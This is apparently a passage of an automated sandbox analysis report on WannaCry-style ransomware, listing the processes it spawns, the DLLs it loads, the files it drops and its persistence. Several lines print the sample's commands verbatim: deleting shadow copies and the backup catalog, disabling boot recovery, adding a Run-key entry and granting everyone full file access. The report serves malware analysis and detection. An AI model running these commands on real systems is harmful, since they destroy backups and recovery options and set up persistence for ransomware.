                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe co
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c start /b @WanaDecryptor@.exe vs
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe vs
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe TaskData\Tor\taskhsvc.exe
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskse.exe taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskse.exe taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskse.exe taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .Jump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /QJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 251361736365593.batJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbsJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe vs
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: edgegdi.dllJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: msvcp60.dllJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\attrib.exeSection loaded: ulib.dllJump to behavior
                  Source: C:\Windows\SysWOW64\attrib.exeSection loaded: fsutilext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\icacls.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: edgegdi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sxs.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: vbscript.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrobj.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: scrrun.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: linkinfo.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: ntshrui.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: cscapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\cscript.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: apphelp.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mfc42.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: urlmon.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wininet.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: iertutil.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: edgegdi.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched32.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched20.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: usp10.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msls31.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: uxtheme.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mswsock.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mfc42.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: urlmon.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wininet.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: iertutil.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: edgegdi.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched32.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched20.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: usp10.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msls31.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: uxtheme.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: apphelp.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libevent-2-0-5.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libssp-0.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libgcc_s_sjlj-1.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libeay32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: ssleay32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: zlib1.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: libeay32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: cryptsp.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: rsaenh.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: cryptbase.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: edgegdi.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netapi32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: wkscli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netapi32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: wkscli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: windows.storage.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: wldp.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: kernel.appcore.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: uxtheme.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: propsys.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: profapi.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: mswsock.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netapi32.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: wkscli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: iphlpapi.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: dhcpcsvc6.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: dhcpcsvc.dll
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeSection loaded: dnsapi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: iphlpapi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: framedynos.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: sspicli.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: kernel.appcore.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: wbemcomn.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: msxml6.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: urlmon.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: iertutil.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: srvcli.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: netutils.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: edgegdi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: uxtheme.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: vcruntime140.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: amsi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: userenv.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: profapi.dll
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSection loaded: version.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: apphelp.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: wtsapi32.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: winsta.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: userenv.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mfc42.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: urlmon.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wininet.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: iertutil.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: edgegdi.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched32.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: riched20.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: usp10.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msls31.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: uxtheme.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: windows.storage.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wldp.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: ntmarta.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: kernel.appcore.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: textinputframework.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: coreuicomponents.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: coremessaging.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wintypes.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wintypes.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wintypes.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: textshaping.dll
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: wtsapi32.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: winsta.dll
                  Source: C:\Users\user\Desktop\taskse.exeSection loaded: userenv.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: mfc42.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: urlmon.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: msvcp60.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: wininet.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: iertutil.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: srvcli.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: netutils.dll
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSection loaded: edgegdi.dll
                  Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
                  Source: C:\Windows\SysWOW64\cscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeWindow found: window name: RICHEDIT
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile opened: C:\Windows\SysWOW64\RICHED32.DLL
                  Source: Window RecorderWindow detected: More than 3 window changes detected
                  Source: n397UdH3b5.exeStatic file information: File size 4685824 > 1048576
                  Source: n397UdH3b5.exeStatic PE information: Raw size of .vmp1 is bigger than: 0x100000 < 0x44a000
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,19_2_00404B70
                  Source: initial sampleStatic PE information: section where entry point is pointing to: .vmp1
                  Source: n397UdH3b5.exeStatic PE information: section name: .vmp0
                  Source: n397UdH3b5.exeStatic PE information: section name: .vmp1
                  Source: libeay32.dll.19.drStatic PE information: section name: /4
                  Source: libeay32.dll.19.drStatic PE information: section name: /19
                  Source: libeay32.dll.19.drStatic PE information: section name: /31
                  Source: libeay32.dll.19.drStatic PE information: section name: /45
                  Source: libeay32.dll.19.drStatic PE information: section name: /57
                  Source: libeay32.dll.19.drStatic PE information: section name: /70
                  Source: libeay32.dll.19.drStatic PE information: section name: /81
                  Source: libeay32.dll.19.drStatic PE information: section name: /92
                  Source: libevent-2-0-5.dll.19.drStatic PE information: section name: /4
                  Source: libevent-2-0-5.dll.19.drStatic PE information: section name: /19
                  Source: libevent-2-0-5.dll.19.drStatic PE information: section name: /31
                  Source: libevent-2-0-5.dll.19.drStatic PE information: section name: /45
                  Source: libevent-2-0-5.dll.19.drStatic PE information: section name: /57
                  Source: libevent-2-0-5.dll.19.drStatic PE information: section name: /70
                  Source: libevent-2-0-5.dll.19.drStatic PE information: section name: /81
                  Source: libevent-2-0-5.dll.19.drStatic PE information: section name: /92
                  Source: libevent_core-2-0-5.dll.19.drStatic PE information: section name: /4
                  Source: libevent_core-2-0-5.dll.19.drStatic PE information: section name: /19
                  Source: libevent_core-2-0-5.dll.19.drStatic PE information: section name: /31
                  Source: libevent_core-2-0-5.dll.19.drStatic PE information: section name: /45
                  Source: libevent_core-2-0-5.dll.19.drStatic PE information: section name: /57
                  Source: libevent_core-2-0-5.dll.19.drStatic PE information: section name: /70
                  Source: libevent_core-2-0-5.dll.19.drStatic PE information: section name: /81
                  Source: libevent_core-2-0-5.dll.19.drStatic PE information: section name: /92
                  Source: libevent_extra-2-0-5.dll.19.drStatic PE information: section name: /4
                  Source: libevent_extra-2-0-5.dll.19.drStatic PE information: section name: /19
                  Source: libevent_extra-2-0-5.dll.19.drStatic PE information: section name: /31
                  Source: libevent_extra-2-0-5.dll.19.drStatic PE information: section name: /45
                  Source: libevent_extra-2-0-5.dll.19.drStatic PE information: section name: /57
                  Source: libevent_extra-2-0-5.dll.19.drStatic PE information: section name: /70
                  Source: libevent_extra-2-0-5.dll.19.drStatic PE information: section name: /81
                  Source: libevent_extra-2-0-5.dll.19.drStatic PE information: section name: /92
                  Source: libgcc_s_sjlj-1.dll.19.drStatic PE information: section name: /4
                  Source: libgcc_s_sjlj-1.dll.19.drStatic PE information: section name: /19
                  Source: libgcc_s_sjlj-1.dll.19.drStatic PE information: section name: /31
                  Source: libgcc_s_sjlj-1.dll.19.drStatic PE information: section name: /45
                  Source: libgcc_s_sjlj-1.dll.19.drStatic PE information: section name: /57
                  Source: libgcc_s_sjlj-1.dll.19.drStatic PE information: section name: /70
                  Source: libgcc_s_sjlj-1.dll.19.drStatic PE information: section name: /81
                  Source: libgcc_s_sjlj-1.dll.19.drStatic PE information: section name: /92
                  Source: libssp-0.dll.19.drStatic PE information: section name: /4
                  Source: libssp-0.dll.19.drStatic PE information: section name: /19
                  Source: libssp-0.dll.19.drStatic PE information: section name: /31
                  Source: libssp-0.dll.19.drStatic PE information: section name: /45
                  Source: libssp-0.dll.19.drStatic PE information: section name: /57
                  Source: libssp-0.dll.19.drStatic PE information: section name: /70
                  Source: libssp-0.dll.19.drStatic PE information: section name: /81
                  Source: libssp-0.dll.19.drStatic PE information: section name: /92
                  Source: ssleay32.dll.19.drStatic PE information: section name: /4
                  Source: ssleay32.dll.19.drStatic PE information: section name: /19
                  Source: ssleay32.dll.19.drStatic PE information: section name: /31
                  Source: ssleay32.dll.19.drStatic PE information: section name: /45
                  Source: ssleay32.dll.19.drStatic PE information: section name: /57
                  Source: ssleay32.dll.19.drStatic PE information: section name: /70
                  Source: ssleay32.dll.19.drStatic PE information: section name: /81
                  Source: ssleay32.dll.19.drStatic PE information: section name: /92
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00413060 push eax; ret 19_2_0041308E
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00413060 push eax; ret 22_2_0041308E

                  Persistence and Installation Behavior

                  barindex
                  Command shell drops VBS files
                  Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Desktop\m.vbsJump to behavior
                  Drops PE files to the document folder of the user
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
                  Uses bcdedit to modify the Windows boot settings
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\Public\Desktop\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Desktop\taskdl.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libssp-0.dllJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libgcc_s_sjlj-1.dllJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Desktop\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libevent-2-0-5.dllJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\Default\Desktop\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\ssleay32.dllJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Desktop\taskse.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libeay32.dllJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Downloads\@WanaDecryptor@.exeJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dllJump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeFile created: C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dllJump to dropped file
